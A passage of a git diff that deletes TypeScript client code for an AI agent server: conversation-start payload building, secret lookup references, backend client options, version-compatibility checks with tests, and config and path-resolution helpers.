options: StartConversationOptions, -): StartConversationPayload { - const sourceAgentSettings = options.encryptedAgentSettings - ? { ...options.settings, agent_settings: options.encryptedAgentSettings } - : options.settings; - - const acpMode = isAcpAgent(sourceAgentSettings); - const launchAgentKind = options.agentProfileId - ? options.agentProfileKind - : acpMode - ? "acp" - : "openhands"; - const agentSettings = buildConfiguredAgentSettings(sourceAgentSettings); - const acpServerTag = acpMode - ? getAcpServerTag(sourceAgentSettings) - : undefined; - - const sourceConversationOptions = options.encryptedConversationSettings - ? { - ...options, - settings: { - ...options.settings, - conversation_settings: options.encryptedConversationSettings, - }, - } - : options; - - const conversationSettings = buildConfiguredConversationSettings( - sourceConversationOptions, - ); - - const payload: StartConversationPayload = { - // ``agent_profile_id`` and ``agent_settings`` are mutually exclusive agent - // sources; the profile path lets the server resolve the profile (#3727). - // - // Enrichment boundary: on the profile path the server rebuilds the agent - // purely from the stored profile fields, so the client-owned enrichments - // this adapter folds into ``agent_settings`` do NOT apply. The exec toolset - // (terminal/file_editor/task_tracker) and public-skill loading are the - // server/SDK's responsibility to restore on the profile path — tracked in - // software-agent-sdk#3967 (profile resolution must attach the default - // toolset + public skills, else a profile-launched OpenHands agent has only - // Finish/Think). The dev ``RUNTIME_SERVICES`` system-message suffix remains - // agent-settings-only; the Canvas UI tool is a top-level client tool and - // therefore works on both inline-agent and profile launch paths. - ...(options.agentProfileId - ? { agent_profile_id: options.agentProfileId } - : { agent_settings: agentSettings }), - workspace: conversationSettings.workspace, - client_tools: - launchAgentKind === "openhands" ? [CANVAS_UI_CLIENT_TOOL] : [], - confirmation_policy: - getConversationConfirmationPolicy(conversationSettings), - max_iterations: - typeof conversationSettings.max_iterations === "number" - ? conversationSettings.max_iterations - : 500, - stuck_detection: true, - autotitle: true, - ...(options.titleLlmProfile - ? { title_llm_profile: options.titleLlmProfile } - : {}), - worktree: options.worktree ?? true, - }; - - // A profile launch resolves the ACP server server-side, so don't stamp the - // tag from current settings (it may not match the launched profile). - if (!options.agentProfileId && acpServerTag) { - payload.tags = { [ACP_SERVER_TAG_KEY]: acpServerTag }; - } - - // ``secrets_encrypted`` makes the agent-server decrypt request secrets at - // conversation start. Non-ACP conversations need it for encrypted LLM keys. - // ACP normally carries provider credentials as LookupSecrets, so avoid - // forcing a cipher on fresh ACP-only backends. The exception is MCP: - // encrypted settings round-trip mcp_config secrets as Fernet tokens, - // and ACP forwards mcp_config directly to the subprocess. - if ( - !options.agentProfileId && - options.secretsEncrypted && - (!acpMode || hasEncryptedMcpSecrets(agentSettings.mcp_config)) - ) { - payload.secrets_encrypted = true; - } - - if (options.conversationId) { - payload.conversation_id = options.conversationId; - } - - const securityAnalyzer = - getConversationSecurityAnalyzer(conversationSettings); - if (securityAnalyzer) { - payload.security_analyzer = securityAnalyzer; - } - - if (conversationSettings.initial_message) { - payload.initial_message = conversationSettings.initial_message; - } - - if (conversationSettings.plugins) { - payload.plugins = conversationSettings.plugins; - } - - if (conversationSettings.hook_config) { - payload.hook_config = conversationSettings.hook_config; - } - - const toolModuleQualnames = { - ...((conversationSettings.tool_module_qualnames as - | Record - | undefined) ?? {}), - }; - delete toolModuleQualnames[LEGACY_CANVAS_UI_TOOL_NAME]; - delete toolModuleQualnames[CANVAS_UI_CLIENT_TOOL_NAME]; - if (Object.keys(toolModuleQualnames).length > 0) { - payload.tool_module_qualnames = toolModuleQualnames; - } - - if (conversationSettings.agent_definitions) { - payload.agent_definitions = conversationSettings.agent_definitions; - } - - // Every saved secret rides as a LookupSecret the agent-server resolves back - // from its own store at spawn time — ``request.secrets`` is the sole channel, - // uniform for ACP and non-ACP (agent-canvas#1039). For ACP the resolution - // runs off the event loop (software-agent-sdk#3510, >=1.25.0), so the loopback - // fetch can't deadlock. - if (options.customSecrets && options.customSecrets.length > 0) { - const backend = getEffectiveLocalBackend(); - const headers = backend ? buildAuthHeaders(backend) : {}; - - const secrets: Record = {}; - for (const secret of options.customSecrets) { - const lookupSecret: LookupSecret = { - kind: "LookupSecret", - url: `/api/settings/secrets/${encodeURIComponent(secret.name)}`, - description: secret.description, - }; - - if (Object.keys(headers).length > 0) { - lookupSecret.headers = headers; - } - - secrets[secret.name] = lookupSecret; - } - - payload.secrets = secrets; - } - - return payload; -} - -export const SUBSCRIPTION_LOGIN_REQUIRED_ERROR = - "Connect your ChatGPT subscription before starting a conversation with this LLM profile."; - -/** - * Throws if a ChatGPT subscription LLM profile is not connected. - * Called before conversation creation and LLM profile switch only — not on - * subsequent message sends or conversation resume. The agent-server must handle - * mid-conversation token expiry gracefully. - */ -export async function assertSubscriptionAuthReady( - agentSettings: Record, -): Promise { - const llm = toRecord(agentSettings.llm); - if (!isSubscriptionLlmConfig(llm)) return; - - const status = await LLMSubscriptionService.getOpenAIStatus(); - if (!status.connected) { - throw new Error(SUBSCRIPTION_LOGIN_REQUIRED_ERROR); - } -} - -export async function buildStartConversationRequestWithEncryptedSettings(options: { - settings: Settings; - query?: string; - conversationInstructions?: string; - plugins?: PluginSpec[]; - conversationId?: string; - workingDir?: string; - worktree?: boolean; - agentProfileId?: string; - agentProfileKind?: AgentKind; - titleLlmProfile?: string; -}): Promise> { - const { SecretsService } = await import("./secrets-service"); - - const [settingsResult, customSecrets] = await Promise.all([ - SettingsService.getSettingsForConversation(), - SecretsService.getSecrets(), - ]); - - const { agentSettings, conversationSettings, secretsEncrypted } = - settingsResult; - - // A profile launch resolves the LLM server-side, so the current-settings - // subscription check doesn't apply (and can't see the profile's LLM). - if (!options.agentProfileId) { - await assertSubscriptionAuthReady(agentSettings); - } - - return buildStartConversationRequest({ - ...options, - encryptedAgentSettings: agentSettings, - encryptedConversationSettings: conversationSettings, - secretsEncrypted, - customSecrets, - }); -} - -export function emptyHooksResponse(): GetHooksResponse { - return { hooks: [] }; -} diff --git a/src/api/agent-server-client-options.ts b/src/api/agent-server-client-options.ts deleted file mode 100644 index 6926bdf1b..000000000 --- a/src/api/agent-server-client-options.ts +++ /dev/null @@ -1,80 +0,0 @@ -import { buildHttpBaseUrl } from "#/utils/websocket-url"; -import { getAgentServerWorkingDir } from "./agent-server-config"; -import { getEffectiveLocalBackend } from "./backend-registry/active-store"; -import type { Backend } from "./backend-registry/types"; - -export interface AgentServerClientOverrides { - host?: string; - apiKey?: string | null; - sessionApiKey?: string | null; - workingDir?: string; - conversationUrl?: string | null; - timeout?: number; -} - -export interface AgentServerClientOptions { - host: string; - apiKey?: string; - workingDir: string; - timeout?: number; -} - -export class NoBackendAvailableError extends Error { - constructor() { - super("No backend is configured."); - this.name = "NoBackendAvailableError"; - } -} - -export const isNoBackendAvailableError = ( - error: unknown, -): error is NoBackendAvailableError => - error instanceof NoBackendAvailableError || - (typeof error === "object" && - error !== null && - "name" in error && - error.name === "NoBackendAvailableError"); - -function normalizeHost(host: string): string { - return host.replace(/\/+$/, ""); -} - -function resolveHost( - overrides: AgentServerClientOverrides, - backend: Backend | null, -): string { - if (overrides.host) return normalizeHost(overrides.host); - if (overrides.conversationUrl) - return normalizeHost(buildHttpBaseUrl(overrides.conversationUrl)); - return normalizeHost(backend?.host ?? ""); -} - -export function getAgentServerClientOptions( - overrides: AgentServerClientOverrides = {}, -): AgentServerClientOptions { - const backend = getEffectiveLocalBackend(); - if (!backend && !overrides.host && !overrides.conversationUrl) { - throw new NoBackendAvailableError(); - } - - const apiKey = - overrides.sessionApiKey ?? overrides.apiKey ?? backend?.apiKey ?? undefined; - - return { - host: resolveHost(overrides, backend), - ...(apiKey ? { apiKey } : {}), - workingDir: overrides.workingDir ?? getAgentServerWorkingDir(), - ...(overrides.timeout !== undefined ? { timeout: overrides.timeout } : {}), - }; -} - -export function getAgentServerHttpClientOptions( - overrides?: AgentServerClientOverrides, -) { - const { host, apiKey, timeout } = getAgentServerClientOptions(overrides); - return { - baseUrl: host, - ...(apiKey ? { apiKey } : {}), - timeout: timeout ?? 60000, - }; -} diff --git a/src/api/agent-server-compatibility.test.ts b/src/api/agent-server-compatibility.test.ts deleted file mode 100644 index bde7fa0e6..000000000 --- a/src/api/agent-server-compatibility.test.ts +++ /dev/null @@ -1,58 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - AgentServerUnknownVersionError, - AgentServerUnsupportedVersionError, - assertAgentServerVersionIsSupported, - getDisplayAgentServerSdkVersion, - getDisplayAgentServerVersion, - type AgentServerInfo, -} from "./agent-server-compatibility"; - -const serverInfo = (version?: string, sdkVersion?: string): AgentServerInfo => - ({ version, sdk_version: sdkVersion }) as AgentServerInfo; - -describe("agent-server version compatibility", () => { - it("classifies missing and unknown versions separately from old versions", () => { - for (const version of [undefined, "", "unknown", " UNKNOWN "]) { - expect(() => - assertAgentServerVersionIsSupported(serverInfo(version)), - ).toThrow(AgentServerUnknownVersionError); - } - }); - - it("classifies malformed versions separately from old versions", () => { - expect(() => - assertAgentServerVersionIsSupported(serverInfo("dev-build")), - ).toThrow(AgentServerUnknownVersionError); - }); - - it("keeps valid but too-old versions on the unsupported-version path", () => { - expect(() => - assertAgentServerVersionIsSupported(serverInfo("0.0.1")), - ).toThrow(AgentServerUnsupportedVersionError); - }); - - it("does not render unknown or malformed versions as backend badges", () => { - expect(getDisplayAgentServerVersion(serverInfo("unknown"))).toBeNull(); - expect(getDisplayAgentServerVersion(serverInfo("dev-build"))).toBeNull(); - expect(getDisplayAgentServerVersion(serverInfo("1.28.0"))).toBe("1.28.0"); - }); - - it("uses sdk_version as the agent-server version fallback", () => { - expect(getDisplayAgentServerVersion(serverInfo(undefined, "1.36.1"))).toBe( - "1.36.1", - ); - expect(() => - assertAgentServerVersionIsSupported(serverInfo(undefined, "1.36.1")), - ).not.toThrow(); - }); - - it("reports the dedicated agent-server SDK version when present", () => { - expect( - getDisplayAgentServerSdkVersion(serverInfo("1.36.0", "1.36.1")), - ).toBe("1.36.1"); - expect(getDisplayAgentServerSdkVersion(serverInfo("1.36.0"))).toBe( - "1.36.0", - ); - }); -}); diff --git a/src/api/agent-server-compatibility.ts b/src/api/agent-server-compatibility.ts deleted file mode 100644 index 7aea8a835..000000000 --- a/src/api/agent-server-compatibility.ts +++ /dev/null @@ -1,385 +0,0 @@ -import { - ServerClient, - SettingsClient, -} from "@openhands/typescript-client/clients"; -import type { ServerInfo as BaseServerInfo } from "@openhands/typescript-client"; -import { getAgentServerClientOptions } from "#/api/agent-server-client-options"; -import { isAuthRequired } from "#/api/agent-server-config"; -import { - getActiveBackend, - getEffectiveLocalBackend, - isNoBackend, -} from "#/api/backend-registry/active-store"; -import defaults from "../../config/defaults.json"; - -const AGENT_SERVER_INFO_TIMEOUT_MS = 5000; -const UNKNOWN_AGENT_SERVER_VERSION = "unknown"; - -export const MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION = - defaults.compatibility.minimumAgentServer; -export const AGENT_SERVER_UNSUPPORTED_VERSION_ERROR_CODE = - "AGENT_SERVER_UNSUPPORTED_VERSION"; -export const AGENT_SERVER_UNKNOWN_VERSION_ERROR_CODE = - "AGENT_SERVER_UNKNOWN_VERSION"; - -export interface AgentServerInfo extends BaseServerInfo { - sdk_version?: string; - usable_tools?: string[] | null; -} - -let cachedAgentServerInfo: AgentServerInfo | null = null; - -const getAdvertisedTools = (serverInfo: AgentServerInfo | null) => { - if (Array.isArray(serverInfo?.usable_tools)) { - return serverInfo.usable_tools; - } - return null; -}; - -export class AgentServerUnavailableError extends Error { - readonly details: string | null; - readonly noBackendConfigured: boolean; - - constructor( - details?: string | null, - options?: { noBackendConfigured?: boolean }, - ) { - const noBackendConfigured = options?.noBackendConfigured ?? false; - super( - noBackendConfigured - ? "No agent server backend is configured yet. Add a backend to get started." - : "Could not connect to the configured agent server. Make sure it is running and reachable, then reload the page.", - ); - this.name = "AgentServerUnavailableError"; - this.details = details ?? null; - this.noBackendConfigured = noBackendConfigured; - } -} - -export const isAgentServerUnavailableError = ( - error: unknown, -): error is AgentServerUnavailableError => - error instanceof AgentServerUnavailableError || - (typeof error === "object" && - error !== null && - "name" in error && - error.name === "AgentServerUnavailableError"); - -export class AgentServerUnsupportedVersionError extends AgentServerUnavailableError { - readonly code = AGENT_SERVER_UNSUPPORTED_VERSION_ERROR_CODE; - readonly actualVersion: string; - readonly requiredVersion = MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION; - - constructor(actualVersion: string) { - const message = `Agent Canvas requires agent-server ${MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION} or newer; this backend is running ${actualVersion}. Please upgrade the agent-server backend.`; - super(message); - this.name = "AgentServerUnsupportedVersionError"; - this.message = message; - this.actualVersion = actualVersion; - } -} - -export class AgentServerUnknownVersionError extends AgentServerUnavailableError { - readonly code = AGENT_SERVER_UNKNOWN_VERSION_ERROR_CODE; - readonly actualVersion: string | null; - readonly requiredVersion = MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION; - - constructor(actualVersion: string | null) { - const reported = actualVersion ? ` It reported "${actualVersion}".` : ""; - const message = - `Could not determine this backend's agent-server version.${reported} ` + - `Agent Canvas requires agent-server ${MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION} ` + - "or newer, but this backend did not return a valid version from " + - "/server_info. Restart or rebuild the agent-server backend, then try again."; - super(message); - this.name = "AgentServerUnknownVersionError"; - this.message = message; - this.actualVersion = actualVersion; - } -} - -export const isAgentServerUnsupportedVersionError = ( - error: unknown, -): error is AgentServerUnsupportedVersionError => - error instanceof AgentServerUnsupportedVersionError || - (typeof error === "object" && - error !== null && - "code" in error && - error.code === AGENT_SERVER_UNSUPPORTED_VERSION_ERROR_CODE); - -export const isAgentServerUnknownVersionError = ( - error: unknown, -): error is AgentServerUnknownVersionError => - error instanceof AgentServerUnknownVersionError || - (typeof error === "object" && - error !== null && - "code" in error && - error.code === AGENT_SERVER_UNKNOWN_VERSION_ERROR_CODE); - -/** - * Returns true when the agent-server probe failed with HTTP 401. - * In public mode this means the stored key is stale (server restarted - * with a different `LOCAL_BACKEND_API_KEY`). Only meaningful when - * auth is required — a 401 in local mode is a misconfiguration, not a - * key-rotation event. Uses {@link isAuthRequired} so both the build-time - * `VITE_AUTH_REQUIRED` flag and the runtime `window.__AGENT_CANVAS_AUTH_REQUIRED__` - * injection (used by pre-built static binaries) are honoured. - */ -export const isAgentServerAuthError = (error: unknown): boolean => - isAuthRequired() && isSdkHttpStatusError(error, 401); - -export function clearCachedAgentServerInfo() { - cachedAgentServerInfo = null; -} - -export function isAgentServerToolAvailable(toolName: string) { - const availableTools = getAdvertisedTools(cachedAgentServerInfo); - if (!Array.isArray(availableTools)) { - return true; - } - return availableTools.includes(toolName); -} - -export function isSdkHttpError(error: unknown) { - return ( - error instanceof Error && - error.name === "HttpError" && - "status" in error && - typeof error.status === "number" - ); -} - -/** - * Narrows an SDK HTTP error to a specific status code. - * Use instead of manually casting `(err as { status: number }).status`. - */ -export function isSdkHttpStatusError(error: unknown, status: number): boolean { - return ( - isSdkHttpError(error) && (error as { status: number }).status === status - ); -} - -function normalizeAgentServerInfoVersion(version: unknown): string | null { - if (typeof version !== "string") return null; - const trimmed = version.trim(); - return trimmed || null; -} - -function getRawAgentServerSdkVersion( - serverInfo: AgentServerInfo, -): string | null { - return normalizeAgentServerInfoVersion(serverInfo.sdk_version); -} - -function getRawAgentServerVersion(serverInfo: AgentServerInfo): string | null { - return ( - normalizeAgentServerInfoVersion(serverInfo.version) ?? - getRawAgentServerSdkVersion(serverInfo) - ); -} - -function getComparableAgentServerVersion( - serverInfo: AgentServerInfo, -): string | null { - const version = getRawAgentServerVersion(serverInfo); - if (!version || version.toLowerCase() === UNKNOWN_AGENT_SERVER_VERSION) { - return null; - } - return version; -} - -export function getDisplayAgentServerVersion( - serverInfo: AgentServerInfo, -): string | null { - const version = getComparableAgentServerVersion(serverInfo); - if (!version || !parseAgentServerVersion(version)) { - return null; - } - return version; -} - -export function getDisplayAgentServerSdkVersion( - serverInfo: AgentServerInfo, -): string | null { - const version = - getRawAgentServerSdkVersion(serverInfo) ?? - getComparableAgentServerVersion(serverInfo); - if (!version || version.toLowerCase() === UNKNOWN_AGENT_SERVER_VERSION) { - return null; - } - return version; -} - -export function getCachedAgentServerSdkVersion( - host?: string | null, -): string | null { - if (!cachedAgentServerInfo) return null; - if (host && getEffectiveLocalBackend()?.host !== host) return null; - return getDisplayAgentServerSdkVersion(cachedAgentServerInfo); -} - -export function getCachedAgentServerVersion( - host?: string | null, -): string | null { - if (!cachedAgentServerInfo) return null; - if (host && getEffectiveLocalBackend()?.host !== host) return null; - return getDisplayAgentServerVersion(cachedAgentServerInfo); -} - -export function compareAgentServerVersions(actual: string, required: string) { - const parsedActual = parseAgentServerVersion(actual); - const parsedRequired = parseAgentServerVersion(required); - - if (!parsedActual || !parsedRequired) { - return null; - } - - for (const key of ["major", "minor", "patch"] as const) { - if (parsedActual[key] > parsedRequired[key]) { - return 1; - } - if (parsedActual[key] < parsedRequired[key]) { - return -1; - } - } - - if (parsedActual.prerelease && !parsedRequired.prerelease) { - return -1; - } - if (!parsedActual.prerelease && parsedRequired.prerelease) { - return 1; - } - if (parsedActual.prerelease && parsedRequired.prerelease) { - return parsedActual.prerelease.localeCompare(parsedRequired.prerelease); - } - - return 0; -} - -function parseAgentServerVersion(version: string) { - const trimmed = version.trim().replace(/^v/, ""); - const [withoutBuild] = trimmed.split("+"); - const [core, prerelease] = withoutBuild.split("-", 2); - const parts = core.split("."); - - if (parts.length !== 3) { - return null; - } - - const [major, minor, patch] = parts.map((part) => Number(part)); - if ( - ![major, minor, patch].every((part) => Number.isInteger(part) && part >= 0) - ) { - return null; - } - - return { major, minor, patch, prerelease }; -} - -export function assertAgentServerVersionIsSupported( - serverInfo: AgentServerInfo, -) { - const actualVersion = getComparableAgentServerVersion(serverInfo); - if (!actualVersion) { - clearCachedAgentServerInfo(); - throw new AgentServerUnknownVersionError( - getRawAgentServerVersion(serverInfo), - ); - } - - const comparison = compareAgentServerVersions( - actualVersion, - MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - ); - - if (comparison === null) { - clearCachedAgentServerInfo(); - throw new AgentServerUnknownVersionError(actualVersion); - } - - if (comparison < 0) { - clearCachedAgentServerInfo(); - throw new AgentServerUnsupportedVersionError(actualVersion); - } -} - -export async function loadAgentServerInfo() { - // The probe is a *local* agent-server concern — it verifies the runtime - // hosting the GUI is reachable. It must NEVER run against the active - // backend when that backend is cloud, because cloud hosts don't - // expose /api/server_info and would fail with a CORS error besides. - const local = getEffectiveLocalBackend(); - if (!local) { - clearCachedAgentServerInfo(); - - // Empty registry (NO_BACKEND sentinel) — the user has no backend - // configured at all. Throw so root.tsx shows the manage-backends - // modal instead of silently rendering a broken home page. - if (isNoBackend(getActiveBackend().backend)) { - throw new AgentServerUnavailableError("No backend configured", { - noBackendConfigured: true, - }); - } - - // Active backend is cloud — no local probe needed. - return null; - } - - const clientOptions = getAgentServerClientOptions({ - host: local.host, - sessionApiKey: local.apiKey || null, - timeout: AGENT_SERVER_INFO_TIMEOUT_MS, - }); - let serverInfo: AgentServerInfo; - - try { - serverInfo = (await new ServerClient( - clientOptions, - ).getServerInfo()) as AgentServerInfo; - } catch (error) { - clearCachedAgentServerInfo(); - // Preserve 401 so root.tsx can show the auth screen (public mode). - // All other HTTP errors (502, 503, etc.) mean the server is unreachable - // or misconfigured — treat them as unavailable. - if (isSdkHttpStatusError(error, 401)) { - throw error; - } - - const details = error instanceof Error ? error.message : null; - throw new AgentServerUnavailableError(details); - } - - assertAgentServerVersionIsSupported(serverInfo); - - // /server_info is unprotected, so a stale session key still gets 200. - // In public mode, validate the key against a protected endpoint so a - // server restart with a new LOCAL_BACKEND_API_KEY surfaces immediately - // instead of letting the app load and fail on every subsequent call. - if (isAuthRequired()) { - try { - await new SettingsClient(clientOptions).getSettings(); - } catch (error) { - // Only rethrow 401 — that means the stored key is invalid / - // rotated. Other HTTP errors (403, 5xx) and non-HTTP errors - // (network, timeout) are swallowed: the server *is* up (we just - // reached /server_info), so let the app proceed with an - // unvalidated key rather than blocking the UI. - // NOTE: If the connection drops between the /server_info and - // getSettings() probes, the app loads with an unvalidated key and - // subsequent 401s won't trigger the auth screen (they come from - // React Query hooks, not this bootstrap path). Acceptable for now - // since the window is narrow and a page refresh recovers. - if (isSdkHttpStatusError(error, 401)) { - throw error; - } - - console.warn( - "[agent-server] getSettings() probe failed (non-401):", - error, - ); - } - } - - cachedAgentServerInfo = serverInfo; - return serverInfo; -} diff --git a/src/api/agent-server-config.ts b/src/api/agent-server-config.ts deleted file mode 100644 index 923c5b352..000000000 --- a/src/api/agent-server-config.ts +++ /dev/null @@ -1,226 +0,0 @@ -export const DEFAULT_WORKING_DIR = "workspace/project"; - -export type LockedCloudAuthMode = "api-key" | "cookie"; - -export interface AgentServerFormDefaults { - baseUrl: string; - sessionApiKey: string; -} - -// Window-global key the static server injects `--lock-to-cloud` into; kept -// module-private because only `getLockedCloudHost()` reads it. The static -// server (`scripts/static-server.mjs`) and its tests reference the literal -// string directly, not this constant. -const LOCK_TO_CLOUD_WINDOW_KEY = "__AGENT_CANVAS_LOCK_TO_CLOUD__"; -const LEGACY_CLOUD_DOMAIN = "all-hands.dev"; -const CURRENT_CLOUD_DOMAIN = "openhands.dev"; -const LEGACY_PRODUCTION_APP_HOST = `app.${LEGACY_CLOUD_DOMAIN}`; -const CURRENT_PRODUCTION_APP_HOST = CURRENT_CLOUD_DOMAIN; -const PRODUCTION_APP_HOST_ALIAS = `app.${CURRENT_CLOUD_DOMAIN}`; - -function trimToNull(value?: string | null): string | null { - return value?.trim() || null; -} - -function normalizeBaseUrl(value?: string | null): string | null { - if (!value) return null; - - const trimmed = value.trim().replace(/\/$/, ""); - if (!trimmed) return null; - - if (/^https?:\/\//i.test(trimmed)) { - return trimmed; - } - - if (typeof window !== "undefined") { - return `${window.location.protocol}//${trimmed}`; - } - - return `http://${trimmed}`; -} - -function normalizeCloudHost(value?: string | null): string | null { - if (!value) return null; - - const trimmed = value.trim().replace(/\/+$/, ""); - if (!trimmed) return null; - - if (/^https?:\/\//i.test(trimmed)) { - return trimmed; - } - - return `https://${trimmed}`; -} - -function canonicalizeCloudHostname(hostname: string): string { - const lower = hostname.toLowerCase(); - if ( - lower === LEGACY_PRODUCTION_APP_HOST || - lower === PRODUCTION_APP_HOST_ALIAS - ) { - return CURRENT_PRODUCTION_APP_HOST; - } - - if (lower === LEGACY_CLOUD_DOMAIN) return CURRENT_CLOUD_DOMAIN; - if (lower.endsWith(`.${LEGACY_CLOUD_DOMAIN}`)) { - return `${lower.slice(0, -LEGACY_CLOUD_DOMAIN.length)}${CURRENT_CLOUD_DOMAIN}`; - } - - return lower; -} - -function getCloudHostComparisonKey(value?: string | null): string | null { - const normalized = normalizeCloudHost(value); - if (!normalized) return null; - - try { - const url = new URL(normalized); - const port = url.port ? `:${url.port}` : ""; - return `${url.protocol}//${canonicalizeCloudHostname(url.hostname)}${port}`; - } catch { - return normalized.toLowerCase(); - } -} - -export function getCookieAuthCloudHost(): string | null { - const lockedHost = getLockedCloudHost(); - if ( - !lockedHost || - typeof window === "undefined" || - !isSameCloudHost(window.location.origin, lockedHost) - ) { - return null; - } - - return window.location.origin; -} - -function getConfiguredBaseUrl(): string | null { - return normalizeBaseUrl(import.meta.env.VITE_BACKEND_BASE_URL); -} - -/** - * Return the session API key supplied by the deployment host. - * - * Two sources are consulted, in order: - * 1. `VITE_SESSION_API_KEY` — baked into the bundle at build time (used by - * `npm run dev` so the dev server has the key without a round-trip). - * 2. `window.__AGENT_CANVAS_SESSION_API_KEY__` — injected into `index.html` - * at serve time by `scripts/static-server.mjs --session-api-key `. - * This is the path used by the published `agent-canvas` binary, where - * `VITE_SESSION_API_KEY` is empty in the prebuilt bundle and the - * runtime key is generated when the user launches the CLI. - * - * Without the window-global fallback, the published binary cannot construct a - * default local backend (`makeDefaultLocalBackend()` returns null), the - * registry is left empty, and the user sees the Manage Backends modal - * instead of the onboarding flow. - */ -export function getBakedSessionApiKey(): string | null { - const envKey = trimToNull(import.meta.env.VITE_SESSION_API_KEY); - if (envKey) return envKey; - - if (typeof window !== "undefined") { - const injected = (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - if (typeof injected === "string") { - return trimToNull(injected); - } - } - - return null; -} - -export function getAgentServerFormDefaults(): AgentServerFormDefaults { - return { - baseUrl: getAgentServerBaseUrl() ?? "", - sessionApiKey: getAgentServerSessionApiKey() ?? "", - }; -} - -export function getLockedCloudHost(): string | null { - const envHost = normalizeCloudHost(import.meta.env.VITE_LOCK_TO_CLOUD); - if (envHost) return envHost; - - if (typeof window !== "undefined") { - const injected = (window as unknown as Record)[ - LOCK_TO_CLOUD_WINDOW_KEY - ]; - if (typeof injected === "string") { - return normalizeCloudHost(injected); - } - } - - return null; -} - -/** - * Compare a backend host against the locked Cloud host, normalizing - * trailing slashes, protocol, and case so that e.g. - * `https://app.all-hands.dev/` matches `https://app.all-hands.dev`. - * - * Used by the locked-to-Cloud gates (`root.tsx`, - * `onboarding-modal.tsx`) to decide whether the active backend is the - * configured locked Cloud host — a Cloud backend on a *different* host - * (or a stale Local backend) must not be treated as the locked backend. - */ -export function isSameCloudHost( - host: string | null | undefined, - lockedHost: string | null | undefined, -): boolean { - const a = getCloudHostComparisonKey(host); - const b = getCloudHostComparisonKey(lockedHost); - if (!a || !b) return false; - return a === b; -} - -export function getLockedCloudAuthMode(): LockedCloudAuthMode { - return getCookieAuthCloudHost() ? "cookie" : "api-key"; -} - -export function getAgentServerBaseUrl(): string | null { - const configuredUrl = getConfiguredBaseUrl(); - if (configuredUrl) return configuredUrl; - - if (typeof window !== "undefined") { - return window.location.origin; - } - - return null; -} - -export function getAgentServerSessionApiKey(): string | null { - return getBakedSessionApiKey(); -} - -export function getAgentServerWorkingDir(): string { - const envDir = import.meta.env.VITE_WORKING_DIR?.trim(); - if (envDir) return envDir; - - return DEFAULT_WORKING_DIR; -} - -export function buildConversationWorkingDir(conversationId: string): string { - const base = getAgentServerWorkingDir().replace(/\/+$/, ""); - const hex = conversationId.replace(/-/g, ""); - return `${base}/${hex}`; -} - -export function getAgentServerHeaders(): Record { - const sessionApiKey = getAgentServerSessionApiKey(); - return sessionApiKey ? { "X-Session-API-Key": sessionApiKey } : {}; -} - -export function isAuthRequired(): boolean { - return ( - import.meta.env.VITE_AUTH_REQUIRED === "true" || - (typeof window !== "undefined" && - (window as unknown as Record) - .__AGENT_CANVAS_AUTH_REQUIRED__ === true) - ); -} - -export function isAuthRequiredAndMissing(): boolean { - if (!isAuthRequired()) return false; - return !getAgentServerSessionApiKey(); -} diff --git a/src/api/agent-server-home.ts b/src/api/agent-server-home.ts deleted file mode 100644 index 5372cdc4e..000000000 --- a/src/api/agent-server-home.ts +++ /dev/null @@ -1,114 +0,0 @@ -// @spec WUP-001 — Resolve relative working dirs against /api/file/home -import { FileClient } from "@openhands/typescript-client/clients"; -import { - getAgentServerClientOptions, - type AgentServerClientOverrides, -} from "./agent-server-client-options"; - -/** - * Cache the agent-server's home directory per host so we only round-trip - * `/api/file/home` once per backend. The home dir is effectively static for - * the lifetime of a running agent-server (it's `Path.home()` on the host), - * so caching is safe and avoids hammering the endpoint on every upload. - * - * The cache holds `Promise` rather than `string` so concurrent - * callers share a single in-flight request. - */ -const homeDirCache = new Map>(); - -function isAbsolutePath(path: string): boolean { - // Treat POSIX-style and Windows-style absolute paths as absolute. - // The agent-server itself is POSIX on Linux/macOS and uses `\\` style - // on Windows; we just need to know whether `Path(path).is_absolute()` - // would return true on the server. - // - // Patterns covered: - // POSIX absolute: /foo/bar - // Windows drive: C:\foo or C:/foo - // Windows UNC: \\server\share (starts with `\`, matches `[/\\]`) - return /^([/\\]|[a-zA-Z]:[/\\])/.test(path); -} - -/** - * Join a parent directory and a relative child segment with a forward slash, - * collapsing any duplicate separators that result from the join. - */ -function joinPath(parent: string, child: string): string { - const left = parent.replace(/[/\\]+$/, ""); - const right = child.replace(/^[/\\]+/, ""); - return `${left}/${right}`; -} - -/** - * Fetch and cache the agent-server's home directory via `GET /api/file/home`. - * - * The result is the absolute path returned by `Path.home()` on the - * agent-server host (e.g. `/Users/foo`, `/root`, or `C:\\Users\\Foo`). This - * is the most reliable absolute, writable anchor the agent-server API - * currently exposes — `/server_info` doesn't include the process CWD. - * - * @param overrides Same shape as `getAgentServerClientOptions` — lets cloud - * sandboxes pass a `conversationUrl` + `sessionApiKey` so the lookup goes - * to the per-conversation runtime rather than the bundled local backend. - */ -export async function getAgentServerHomeDir( - overrides: AgentServerClientOverrides = {}, -): Promise { - const options = getAgentServerClientOptions(overrides); - const cacheKey = options.host; - const cached = homeDirCache.get(cacheKey); - if (cached) return cached; - - const lookup = (async () => { - const { home } = await new FileClient(options).getHome(); - if (!home || typeof home !== "string") { - throw new Error("Agent server returned an empty home directory"); - } - return home.replace(/[/\\]+$/, ""); - })(); - - homeDirCache.set(cacheKey, lookup); - try { - return await lookup; - } catch (error) { - // Don't cache failures — let the next call retry. - homeDirCache.delete(cacheKey); - throw error; - } -} - -/** Test-only helper. */ -export function clearAgentServerHomeDirCache(): void { - homeDirCache.clear(); -} - -/** - * Resolve a (possibly relative) working dir to an absolute path the - * agent-server's file APIs will accept. - * - * - If `workingDir` is already absolute, returns it unchanged. - * - Otherwise prepends the agent-server's home dir (looked up via - * `/api/file/home` and cached). This matches how the published binary - * and Docker entrypoint expect to anchor relative working dirs: under - * `~/workspace/project` rather than the filesystem root. - * - * Why this matters: the agent-server's `/api/file/upload` endpoint requires - * an absolute path and `mkdir -p`s the parent. Naively prepending `/` to a - * relative dir like `workspace/project/` produces `/workspace/...`, - * which on macOS lives under the SIP-protected read-only root and fails - * with `Errno 30: Read-only file system: '/workspace'`. Resolving against - * 